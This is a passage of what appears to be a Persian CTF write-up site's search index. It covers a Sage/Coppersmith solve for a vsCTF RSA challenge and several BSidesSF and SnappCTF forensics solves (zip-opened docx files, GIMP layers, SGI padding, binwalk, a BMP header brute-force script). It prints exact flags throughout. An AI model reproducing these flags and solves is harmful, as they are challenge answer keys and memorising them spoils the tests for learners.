from sage.all import *\nfrom Crypto.Util.number import *\n\nn = 17017748438705066485980265610504973941689507158214048907934864053951824889071064601073910857498716466379300399394556852943447842816066237762975759146067603346932655815765634166764048084180474131701931383171349451845316534710526574012912735473043515230467907689465656893004952933482461926380363467891367371320920210649076831336026531060035987624376755145919230635976854094060401025222767306359467726378382365555864913880755980365664883663551789406674211837707988941852191026959073337595157795634757323135639457679829852893808412935293002447739900499953490408700913079007749683585557520473906185642328582577705062027631\nc1 = 9003062544361468960014218470636404669173735044866342965869660382166263123283806177716541318605500035571883237116335008322263825288011535307210534022613104692306853206661705792651423740907471425532463013873903464958932506542067750598093825475707515378835734567383026995274504596249534287698334255122015294261751214389359548871918811764608535909122754450577618713535336693131845790212493936556686306004719501205711258082359280474173467230238314287036337126459732454648594184069081357024594728733999140381651217417997443994617467740923081974477194695681963791649774704734532274162532760702494593072786469541911070488784\nc2 = 2546072448640808612556238065690407010381885201320761372614998667179031247594621466783076820338223816545993779457675793555900878984022886823043416655251600929530018123073858500887780064339665319391244085462799327306580227414809334236098388514789401395708999589289970455742049539846184453090569082144704220108709060216465897683931008575383253420528012257869329475086084346328436404376300397163706384908585243637028839505661432353166021577388901987667955042566919645080401328362001267759995517247132976744463557149680150697522052163536029888394019138507753598600096770531185804183946347241540134230811866880904134661137\n\nm5 = c2 * pow(c1, -1, n) % n\nm1 = bytes_to_long(b\"Wow good job the flag is (omg hype hype): vsctf{\") * 256**16 + bytes_to_long(b'}')\nG.<m2> = PolynomialRing(Zmod(n))\nf = (m1+m2)^5-m5\nflag = f.small_roots()[0]\nprint(long_to_bytes(int(flag)))\n
FLAG

vsctf{WE<3COPPERSMITH}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["vSCTF","vSCTF-2023","Crypto","RSA","Extended gcd","Partial known m","Coppersmith","Sage"]},{"location":"forensic/","title":"\u062c\u0631\u0645\u200c\u0634\u0646\u0627\u0633\u06cc","text":"

\u062a\u0627 \u062d\u0627\u0644\u0627 \u0628\u0627 \u062e\u0648\u062f\u062a\u0648\u0646 \u0641\u06a9\u0631 \u06a9\u0631\u062f\u06cc\u0646 \u0648\u0642\u062a\u06cc \u06cc\u0647 \u0633\u0627\u0632\u0645\u0627\u0646\u06cc \u0647\u06a9 \u0645\u06cc\u0634\u0647\u060c \u0686\u062c\u0648\u0631\u06cc \u0645\u06cc\u0641\u0647\u0645\u0646 \u0627\u0632 \u06a9\u062c\u0627 \u062e\u0648\u0631\u062f\u0646\u061f

\u0645\u0627 \u0648\u0627\u0631\u062f \u0639\u0645\u0644 \u0645\u06cc\u0634\u06cc\u0645

\u0628\u0635\u0648\u0631\u062a \u06a9\u0644\u06cc \u0639\u0644\u0645 \u062c\u0631\u0645 \u0634\u0646\u0627\u0633\u06cc \u0628\u0647 \u0627\u06cc\u0646 \u0639\u0645\u0644 \u0645\u06cc\u067e\u0631\u062f\u0627\u0632\u0647 \u06a9\u0647 \u06cc\u06a9 \u062c\u0631\u0645 \u0686\u062c\u0648\u0631\u06cc \u0627\u062a\u0641\u0627\u0642 \u0627\u0641\u062a\u0627\u062f\u0647

\u0634\u0631\u0644\u0648\u06a9 \u062d\u0648\u0632\u0647 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0645\u0627\u06cc\u06cc\u0645 =))

\u062a\u0648 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0647 \u0627\u0632 \u0686\u0627\u0644\u0634 \u0647\u0627 \u0627\u06a9\u062b\u0631\u0627 \u06cc\u0647 \u0641\u0627\u06cc\u0644\u06cc \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0645\u0627 \u0642\u0631\u0627\u0631 \u0645\u06cc\u062f\u0646 \u0648 \u0645\u0627 \u0628\u0627\u06cc\u062f \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u062f\u0627\u0646\u0634\u06cc \u06a9\u0647 \u0627\u0632 \u0642\u0628\u0644 \u06a9\u0633\u0628 \u06a9\u0631\u062f\u06cc\u0645\u060c \u062f\u0631 \u0645\u06cc\u0627\u0646 \u0627\u0646\u0628\u0648\u0647\u06cc \u0627\u0632 \u062f\u06cc\u062a\u0627 \u0628\u0647 \u0641\u0644\u06af \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0637\u0631\u0627\u062d \u0628\u0631\u0633\u06cc\u0645

\u062a\u0648 \u0627\u06cc\u0646 \u0639\u0644\u0645 \u062f\u0627\u0646\u0634 \u0641\u0627\u06cc\u0644 \u0633\u06cc\u0633\u062a\u0645 \u0628\u0647 \u0648\u0641\u0648\u0631 \u0646\u06cc\u0627\u0632 \u0645\u06cc\u0634\u0647 \u0648 \u062f\u0627\u0646\u0634 \u06a9\u0644\u06cc \u0641\u0627\u06cc\u0644 \u0647\u0627 \u0627\u0632 \u0642\u0628\u06cc\u0644 \u0627\u06cc\u0646 \u06a9\u0647 \u0647\u0631 \u0641\u0627\u06cc\u0644 \u0686\u0647 \u0641\u0631\u0645\u062a\u06cc \u062f\u0627\u0631\u0647 \u0648 \u0641\u0627\u06cc\u0644 \u0647\u0627 \u0628\u0647 \u0686\u0647 \u0635\u0648\u0631\u062a \u062e\u0648\u0646\u062f\u0647 \u06cc\u0627 \u0646\u0648\u0634\u062a\u0647 \u0645\u06cc\u0634\u0646 \u0648 \u062a\u0631\u06cc\u06a9 \u0647\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0627\u0648\u0646\u0647\u0627 \u0628\u0647 \u0686\u0647 \u0635\u0648\u0631\u062a \u0647\u0633\u062a

"},{"location":"forensic/writeups/BSidesSF/doctor/","title":"Doctor","text":"

\u062a\u0648 \u0627\u06cc\u0646 \u0686\u0644\u0646\u062c \u0628\u0647 \u0645\u0627 \u06cc\u0647 \u0641\u0627\u06cc\u0644 docx \u062f\u0627\u062f\u0646 \u06a9\u0647 \u06cc\u0647 \u0633\u0631\u06cc \u0639\u06a9\u0633 \u0631\u0648 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647

\u062f\u0631 \u0642\u062f\u0645 \u0627\u0648\u0644 \u0645\u0648\u0627\u062c\u0647\u0647 \u0628\u0627 \u0641\u0627\u06cc\u0644 \u0648\u0631\u062f\u060c \u0628\u0627\u06cc\u062f \u0628\u0627\u0632\u0634 \u06a9\u0646\u06cc\u0645 \u0648 \u0627\u06af\u0647 \u0641\u0644\u06af\u06cc \u062a\u0648\u0634 \u0646\u0628\u0648\u062f\u060c \u062f\u0631 \u0648\u0647\u0644\u0647 \u062f\u0648\u0645 \u0628\u0627 zip viewer \u0628\u0627\u0632\u0634 \u06a9\u0646\u06cc\u0645

\u062a\u0648 \u0645\u062d\u062a\u0648\u06cc\u0627\u062a \u0645\u062a\u0646\u06cc \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644 \u0647\u0645 \u0641\u0644\u06af\u06cc \u0646\u0628\u0648\u062f \u0648 \u067e\u0633 \u0628\u0627 zip viewer \u0628\u0627\u0632\u0634 \u0645\u06cc\u06a9\u0646\u06cc\u0645 =)))

\u06cc\u06a9\u0645 \u06a9\u0647 \u062a\u0648 \u0641\u0648\u0644\u062f\u0631 \u0647\u0627 \u0628\u06af\u0631\u062f\u06cc\u0645 \u0648 \u06cc\u0647 \u0633\u0631\u06cc \u0686\u06cc\u0632\u0627 \u0645\u062b\u0644 \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0646 \u06cc\u0627 \u0646\u062f\u0627\u0634\u062a\u0646 macro \u0645\u0637\u0645\u0626\u0646 \u0628\u0634\u06cc\u0645\u060c \u0686\u0634\u0645\u0645\u0648\u0646 \u0645\u06cc\u062e\u0648\u0631\u0647 \u0628\u0647 \u0639\u06a9\u0633 \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u062a\u0648 \u0641\u0627\u06cc\u0644 \u0648\u0631\u0648\u062f \u06af\u0646\u062c\u0648\u0646\u062f\u0647 \u0634\u062f\u0646

\u0627\u0645\u0627 wait, what?

\u0686\u0631\u0627 \u06f5 \u062a\u0627 \u0639\u06a9\u0633\u0647\u061f \u0645\u06af\u0647 \u062a\u0648 \u0641\u0627\u06cc\u0644 \u0648\u0631\u062f \u06f4 \u062a\u0627 \u0646\u0628\u0648\u062f\u061f

\u06cc\u0647 \u0639\u06a9\u0633 \u0627\u0636\u0627\u0641\u06cc\u0647

\u06a9\u0647 \u0627\u0648\u0646\u0645 image-0.png \u0647\u0633\u062a \u0641\u0644\u06af \u062a\u0648\u0634\u0647

FLAG

CTF{st0ck_cut3_p1c5}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Forensics","Word"]},{"location":"forensic/writeups/BSidesSF/javai/","title":"Javai","text":"

\u0627\u06cc\u0646\u062c\u0627 \u0647\u0645 \u06cc\u0647 \u0641\u0627\u06cc\u0644 docx \u0628\u0647 \u0645\u0627 \u062f\u0627\u062f\u0646 \u0648 \u0628\u0639\u062f \u0627\u0632 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646\u0634 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u0628\u0627\u06cc\u062f \u0628\u0627 zip viewer \u0647\u0645 \u06cc\u0647 \u0641\u0631\u0635\u062a \u0628\u0647\u0634 \u0628\u062f\u06cc\u0645

\u0639\u0647 \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644 getflag.class \u0686\u06cc\u0647 \u0627\u06cc\u0646\u062c\u0627\u061f

\u0641\u0627\u06cc\u0644 \u0631\u0648 \u0627\u06a9\u0633\u062a\u0631\u06a9\u062a \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a JadX \u0648 \u0641\u0627\u06cc\u0644 \u0631\u0648 \u0628\u0627\u0632 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0641\u0644\u06af \u0631\u0648 \u062f\u0648 \u062f\u0633\u062a\u06cc \u062a\u0642\u062f\u06cc\u0645\u0645\u0648\u0646 \u0645\u06cc\u06a9\u0646\u0647

FLAG

CTF{javai_java_with_100x_ai}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Forensics","Word"]},{"location":"forensic/writeups/BSidesSF/redacted/","title":"Redacted","text":"

\u0627\u06cc\u0646\u062c\u0627 \u06cc\u0647 \u0639\u06a9\u0633 \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u06cc\u0647 \u062a\u06cc\u06a9\u0634 \u0628\u0627 \u0627\u062f\u06cc\u062a\u0648\u0631 \u0645\u0648\u0628\u0627\u06cc\u0644 \u0631\u0648\u0634 \u062e\u0637 \u06a9\u0634\u06cc\u062f\u0647 \u0634\u062f\u0647

\u06cc\u0647 \u0628\u0627\u0631 \u06cc\u0647 \u062a\u0631\u0641\u0646\u062f \u062a\u0648 \u062a\u0648\u06cc\u06cc\u062a\u0631 \u062f\u06cc\u062f\u0645 \u06a9\u0647 \u0645\u06cc\u0634\u062f \u0632\u06cc\u0631 \u0627\u06cc\u0646 \u062e\u0637\u0627 \u0631\u0648 \u062e\u0648\u0646\u062f =)))

\u067e\u0633 \u062f\u0633\u062a \u0628\u0647 \u06a9\u0627\u0631 \u0634\u062f\u0645 \u0648 \u062a\u0648 gimp \u0641\u0627\u06cc\u0644 \u0631\u0648 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0645 \u0648

\u0628\u0627 \u06cc\u06a9\u0645 \u0628\u0627\u0632\u06cc \u0628\u0627\u0632\u06cc \u06a9\u0631\u062f\u0646 \u0628\u0627 \u0622\u067e\u0634\u0646\u0627\u06cc gimp \u062a\u0648\u0646\u0633\u062a\u0645 \u0641\u0644\u06af \u0631\u0648 \u0628\u06a9\u0634\u0645 \u0628\u06cc\u0631\u0648\u0646

FLAG

CTF{censor_this}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Forensics","PNG"]},{"location":"forensic/writeups/BSidesSF/sgai/","title":"Sgai","text":"

\u0627\u06cc\u0646 \u0686\u0644\u0646\u062c \u06f4 \u062a\u0627 \u0641\u0644\u06af \u0645\u062e\u062a\u0644\u0641 \u062f\u0627\u0634\u062a \u06a9\u0647 \u0645\u0648\u0641\u0642 \u0634\u062f\u0645 \u06f3 \u062a\u0627\u0634\u0648\u0646 \u0631\u0648 \u0628\u0647 \u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u0645

\u067e\u0633\u0648\u0646\u062f \u0641\u0627\u06cc\u0644 \u0686\u06cc\u0647\u061f sgi \u062f\u06cc\u06af\u0647 \u0686\u0647 \u06a9\u0648\u0641\u062a\u06cc\u0647\u061f

\u0645\u0647\u0645 \u0646\u06cc\u0633

\u0686\u0648\u0646 \u0627\u06af\u0647 \u062f\u0628\u0644 \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u0645 \u0631\u0648\u0634\u060c \u0628\u0627 gimp \u0628\u0627\u0632 \u0645\u06cc\u0634\u0647

\u0628\u0647 \u0634\u062e\u0635\u0647 \u062e\u06cc\u0644\u06cc \u0628\u0627\u0647\u0627\u0634 \u0628\u0627\u0632\u06cc \u0628\u0627\u0632\u06cc \u06a9\u0631\u062f\u0645 \u0648 \u062a\u0627 \u0628\u0627\u0644\u0627\u062e\u0631\u0647 \u0641\u0647\u0645\u06cc\u062f\u0645 \u0627\u06af\u0647 layer alpha \u0631\u0648 \u0645\u062e\u0641\u06cc \u06a9\u0646\u0645\u060c \u06cc\u0647 \u0641\u0644\u06af \u0645\u06cc\u0632\u0646\u0647 \u0628\u06cc\u0631\u0648\u0646

\u0628\u0631\u0627 \u0641\u0644\u06af \u0628\u0639\u062f\u06cc \u0628\u0627\u06cc\u062f \u062d\u0631\u0641\u0647 \u0627\u06cc \u062a\u0631 \u0639\u0645\u0644 \u06a9\u0646\u06cc\u0645

\u067e\u0633 \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a hex editor

\u0632\u0627\u0631\u062a \u0641\u0644\u06af \u0628\u0639\u062f\u06cc \u0647\u0645 \u062f\u0631\u0627\u0648\u0645\u062f =)))

\u0628\u0631\u0627 \u0641\u0644\u06af \u0633\u0648\u0645 \u0628\u0639\u062f \u0627\u0632 \u0633\u0627\u0639\u062a\u0647\u0627 \u0622\u0632\u0645\u0648\u0646 \u0648 \u062e\u0637\u0627 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a\u0645 \u06cc\u0647 \u0641\u0627\u06cc\u0644 sgi \u062f\u06cc\u06af\u0647 \u0648\u0631\u062f\u0627\u0631\u0645 \u0648 \u0628\u0627 \u0627\u06cc\u0646 \u0645\u0642\u0627\u06cc\u0633\u0647 \u06a9\u0646\u0645

\u067e\u0633 \u0628\u0627 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631\u060c \u06cc\u0647 rebase \u0627\u0632 \u0647\u0645\u06cc\u0646 \u0641\u0627\u06cc\u0644 sgi \u0633\u0627\u062e\u062a\u0645 \u0648 \u0647\u0631\u062f\u0648 \u0631\u0648 \u062a\u0648 hex editor \u0628\u0627\u0632 \u06a9\u0631\u062f\u0645

convert sgai.sgi a.sgi\n

\u062a\u0641\u0627\u0648\u062a \u0648\u0627\u0636\u062d\u0647

\u06cc\u0647 \u0645\u0634\u062a FF \u0627\u06cc\u0646\u0648\u0631 \u0647\u0633\u062a\u0646 \u06a9\u0647 \u0627\u0648\u0646\u0648\u0631 00 \u0627\u0646

\u0628\u0627 \u0628\u0631\u0631\u0633\u06cc struct \u0641\u0627\u06cc\u0644 \u0627\u0632 \u0627\u06cc\u0646\u062c\u0627 \u0641\u0647\u0645\u06cc\u062f\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u062a\u06cc\u06a9\u0647 \u067e\u062f\u06cc\u0646\u06af\u0647

\u067e\u0633 \u06a9\u0644 \u067e\u062f\u06cc\u0646\u06af \u06a9\u0647 \u0645\u06cc\u0634\u0647 \u0627\u0632 0x6c \u062a\u0627 0x1ff \u06a9\u067e\u06cc \u06a9\u0631\u062f\u0645 xor \u0632\u062f\u0645 \u0628\u0627 FF \u062a\u0627 \u0647\u0645\u0634\u0648\u0646 00 \u0628\u0634\u0646

\u0627\u06cc\u0646\u0645 \u0627\u0632 \u0641\u0644\u06af \u0633\u0648\u0645

FLAG

CTF{i_name_thee_flag} CTF{invisibility_cloak} CTF{padpadpad_really_do_we_need_512}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Forensics","SGI","Steganography"]},{"location":"forensic/writeups/BSidesSF/undelete/","title":"Undelete","text":"

\u0627\u06cc\u0646 \u0686\u0644\u0646\u062c \u0633\u0627\u062f\u0647 \u062a\u0631\u06cc\u0646 \u0686\u0644\u0646\u062c \u0628\u0648\u062f =))

\u06cc\u0647 binwalk \u0633\u0627\u062f\u0647 \u0645\u06cc\u062a\u0648\u0646\u0633\u062a \u0641\u0644\u06af \u0631\u0648 \u062f\u0631 \u0628\u06cc\u0627\u0631\u0647

binwalk --dd=\".*\" floppy.img\n

FLAG

CTF{144_mb_enough_for_anybody}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Forensics"]},{"location":"forensic/writeups/BSidesSF/ztxt/","title":"Ztxt","text":"

\u0627\u06cc\u0646 \u0686\u0644\u0646\u062c \u0627\u0632 \u0627\u0648\u0646 \u06cc\u06a9\u06cc \u0647\u0645 \u0631\u0627\u062d\u062a \u062a\u0631\u0647

\u0628\u0627 exiftool \u0641\u0644\u06af \u062f\u0631 \u0645\u06cc\u0627\u062f

FLAG

CTF{zhis_zis_zhe_zlag}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Forensics"]},{"location":"forensic/writeups/SnappCTF/false-sight/","title":"False sight","text":"

\u0628\u062f\u0648\u0646 \u0641\u0648\u062a \u0648\u0642\u062a \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a hex editor \u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0628\u0647 \u0628\u0647

\u06cc\u0647 \u0627\u0633\u062a\u0631\u06cc\u0646\u06af \u0628\u0647 \u0686\u0634\u0645 \u0645\u06cc\u062e\u0648\u0631\u0647 \u0628\u0647 \u0627\u0633\u0645 BGRs

\u0628\u0627 \u0686\u0646\u062f\u062a\u0627 \u0633\u0631\u0686 \u062a\u0648 \u06af\u0648\u06af\u0644 \u0645\u06cc\u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0641\u0631\u0645\u062a \u0641\u0627\u06cc\u0644 bmp \u0647\u0633\u062a

\u0628\u0627 \u0645\u062c\u06cc\u06a9 \u0628\u0627\u06cc\u062a bmp \u0641\u0627\u06cc\u0644 \u0631\u0648 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0641\u06cc\u06a9\u0633 \u0645\u06cc\u06a9\u0646\u06cc\u0645

\u062e\u0648\u0631\u062f\u06cc\u0645 \u0628\u0647 \u062f\u0631 \u0628\u0633\u062a\u0647 =))

\u0627\u0632 \u0627\u0648\u0646 \u062c\u0627\u06cc\u06cc \u06a9\u0647 \u06f9\u06f9 \u062f\u0631\u0635\u062f CTF \u0647\u0627\u06cc \u0627\u06cc\u0631\u0627\u0646\u06cc \u0631\u0648 \u0627\u0633\u06cc\u0633 \u0637\u0631\u0627\u062d\u06cc \u06a9\u0631\u062f\u0647

\u0627\u0632 \u0686\u0644\u0646\u062c \u0647\u0627\u06cc \u0642\u0628\u0644\u06cc \u0627\u0633\u06cc\u0633 \u06cc\u0627\u062f\u0645\u0648\u0646\u0647 \u06a9\u0647 \u06cc\u0647 \u0686\u0644\u0646\u062c \u0628\u0648\u062f\u0647 \u06a9\u0647 \u0647\u0645\u06cc\u0646\u062c\u0648\u0631\u06cc \u0628\u0647 \u0641\u0627\u06cc\u0644 \u062a\u0635\u0648\u06cc\u0631\u06cc \u0639\u0644\u0627\u0645\u062a \u0633\u0648\u0627\u0644 \u0645\u06cc\u0631\u0633\u06cc\u062f\u06cc\u0645 \u0648 \u0628\u0627\u06cc\u062f \u0644\u0646\u0641 \u062a\u0635\u0648\u06cc\u0631\u06cc \u0631\u0648 \u062c\u0644\u0648 \u0645\u06cc\u0631\u0641\u062a\u06cc\u0645 \u0648 \u06cc\u0647 \u0639\u06a9\u0633 \u062f\u06cc\u06af\u0647 \u06a9\u0647 \u0686\u0633\u0628\u06cc\u062f\u0647 \u0628\u0648\u062f\u0647 \u0628\u0647 \u0639\u06a9\u0633 \u0631\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645 \u0648 \u0641\u0644\u06af \u0631\u0648 \u062a\u0648\u0634 \u067e\u06cc\u062f\u0627 \u0645\u06cc\u06a9\u0631\u062f\u06cc\u0645

\u067e\u0633 \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a exiftool

\u0644\u0627\u06cc\u0646 \u0633\u0644\u06a9\u062a \u0634\u062f\u0647 \u0628\u0647 \u0645\u0627 \u0627\u06cc\u0646 \u0631\u0648 \u0645\u06cc\u0631\u0633\u0648\u0646\u0647 \u06a9\u0647 \u0641\u0627\u06cc\u0644 \u062a\u0635\u0648\u06cc\u0631\u06cc\u0645\u0648\u0646 \u062a\u0627 \u0627\u06cc\u0646\u062c\u0627 \u0628\u06cc\u0634\u062a\u0631 \u0646\u0628\u0627\u06cc\u062f \u0628\u0627\u0634\u0647\u060c \u0627\u0645\u0627...

\u0627\u0645\u0627 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u067e\u0627\u0634\u0648 \u0627\u0632 \u06af\u0644\u06cc\u0645\u0634 \u062f\u0631\u0627\u0632 \u062a\u0631 \u06a9\u0631\u062f\u0647 =)))

\u067e\u0633 \u0645\u06cc\u0632\u0646\u06cc\u0645 \u06a9\u0644 \u0639\u06a9\u0633\u06cc \u06a9\u0647 \u0628\u0627 \u0639\u0644\u0627\u0645\u062a \u0633\u0648\u0627\u0644 \u067e\u0631 \u0634\u062f\u0647 \u0631\u0648 \u067e\u0627\u06a9 \u0645\u06cc\u06a9\u0646\u06cc\u0645

\u0627\u0648\u0646 \u0639\u0644\u0627\u0645\u062a \u0633\u0648\u0627\u0644\u0627 \u0631\u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u062f \u0622\u062e\u0631\u0627\u06cc \u0635\u0641\u062d\u0647\u061f

\u0627\u0648\u0646\u0627 \u062a\u0648\u062c\u0647 \u0645\u0646\u0648 \u062c\u0644\u0628 \u0645\u06cc\u06a9\u0646\u0646

\u0645\u062e\u0635\u0648\u0635\u0627 \u06a9\u0647 \u0686\u0647\u0627\u0631 \u062a\u0627\u0646 \u0648 \u0645\u062c\u06cc\u06a9 \u0628\u0627\u06cc\u062a bmp \u0647\u0645 \u0686\u0647\u0627\u0631 \u062a\u0627\u0633

\u067e\u0633 \u062a\u0627 \u0627\u0648\u0646\u062c\u0627 \u067e\u0627\u06a9 \u0645\u06cc\u06a9\u0646\u06cc\u0645 =))

\u062d\u0627\u0644\u0627 \u06a9\u06cc \u062d\u0627\u0644 \u062f\u0627\u0631\u0647 \u0628\u0634\u06cc\u0646\u0647 \u06a9\u0644 \u0628\u0627\u06cc\u062a\u0627 \u0631\u0648 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc \u06a9\u0646\u0647\u061f

\u0627\u0632 \u0642\u0633\u0645\u062a \u0627\u0648\u0644 \u0647\u0645\u0648\u0646 \u0641\u0627\u06cc\u0644 \u0627\u0648\u0644\u06cc\u0647 \u06a9\u0647 \u0645\u062c\u06cc\u06a9 \u0628\u0627\u06cc\u062a\u0634 \u0631\u0648 \u0641\u06cc\u06a9\u0633 \u06a9\u0631\u062f\u06cc\u0645\u060c \u0628\u0627\u06cc\u062a \u0647\u0627 \u0631\u0648 \u062a\u0627 \u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0647 \u06f0\u06f0 \u0645\u06cc\u0631\u0633\u06cc\u0645 \u06a9\u067e\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u062c\u0648\u0631\u06cc \u0645\u06cc\u0632\u0627\u0631\u06cc\u0645 \u062a\u0648 \u0641\u0627\u06cc\u0644 \u06a9\u0647 \u0645\u062c\u06cc\u06a9 \u0628\u0627\u06cc\u062a \u0628\u06cc\u0641\u062a\u0647 \u0631\u0648 \u0639\u0644\u0627\u0645\u062a \u0633\u0648\u0627\u0644\u0627

\u06cc\u0647 \u0647\u0645\u0686\u06cc\u0646 \u0639\u06a9\u0633\u06cc \u062f\u0631 \u0645\u06cc\u0627\u062f

\u06a9\u0627\u0645\u0644\u0627 \u0648\u0627\u0636\u062d\u0647 \u06a9\u0647 \u0631\u0632\u0648\u0644\u0648\u0634\u0646 \u0639\u06a9\u0633 \u0645\u0634\u06a9\u0644 \u062f\u0627\u0631\u0647

\u0628\u0627 \u062e\u0648\u0646\u062f\u0646 \u0641\u0631\u0645\u062a \u0641\u0627\u06cc\u0644 bmp \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u06a9\u062c\u0627 \u0628\u0627\u06cc\u062f \u0631\u0632\u0648\u0644\u0648\u0634\u0646 \u0631\u0648 \u0633\u062a \u06a9\u0646\u06cc\u0645

\u0628\u0627 \u0627\u06cc\u0646 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a python \u0645\u06cc\u0632\u0646\u06cc\u0645 \u0647\u0645\u0647 \u0631\u0632\u0648\u0644\u0648\u0634\u0646 \u0647\u0627 \u0631\u0648 \u0633\u062a \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0631\u0648 \u0639\u06a9\u0633 \u0648 \u062a\u0648 \u06cc\u0647 \u0641\u0627\u06cc\u0644 \u0630\u062e\u06cc\u0631\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u0645

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0628\u0631\u0648\u062a \u0641\u0648\u0631\u0633 \u0641\u0642\u0637 \u0646\u06cc\u0627\u0632\u0647 x \u0639\u06a9\u0633 \u0631\u0648 \u0628\u0631\u0648\u062a \u0641\u0648\u0631\u0633 \u06a9\u0646\u06cc\u0645

\u0686\u0648\u0646 \u067e\u06cc\u06a9\u0633\u0644 \u0647\u0627\u06cc \u062a\u0635\u0627\u0648\u06cc\u0631 \u0627\u0632 \u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a \u062a\u06a9\u0645\u06cc\u0644 \u0645\u06cc\u0634\u0646 \u0648 \u0627\u0631\u062a\u0641\u0627\u0639 \u062a\u0627\u062b\u06cc\u0631\u06cc \u062f\u0631 \u067e\u06cc\u06a9\u0633\u0644 \u0647\u0627 \u0648 \u062a\u0631\u062a\u06cc\u0628\u0634\u0648\u0646 \u0646\u062f\u0627\u0631\u0647

hdr = bytearray.fromhex(\"42 4D 42 42 0F 00 00 00 00 00 7A 00 00 00 6C 00 00 00\")\na = open(\"false_sight\", 'rb').read()[0x16:]\n\nfor i in range(1, 10000):\n    with open(\"res/{}.bmp\".format(i), 'wb') as f:\n        f.write(hdr + i.to_bytes(4, 'little') + a)\n

\u0628\u0639\u062f \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a \u0639\u06a9\u0633\u0627 \u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u0639\u06a9\u0633 \u062e\u0648\u0627\u0646\u0627\u0633

","tags":["SnappCTF","SnappCTF-2024","Reverse","BMP"]},{"location":"forensic/writeups/SnappCTF/false-sight/#_1","title":"False sight","text":"

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Reverse","BMP"]},{"location":"forensic/writeups/SnappCTF/snapp-report/","title":"Snapp report","text":"

\u0627\u06cc\u0646\u062c\u0627 \u06cc\u0647 \u0641\u0627\u06cc\u0644 pdf \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0628\u0627 firefox \u0628\u0627\u0632\u0634 \u0645\u06cc\u06a9\u0646\u06cc\u0645

\u0628\u0627 \u0632\u062f\u0646 \u06cc\u0647 Ctrl+a \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u06cc\u0647 \u0633\u0631\u06cc \u0645\u062a\u0646 \u0647\u0627 \u0647\u0633\u062a \u06a9\u0647 \u0645\u0627 \u0646\u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645

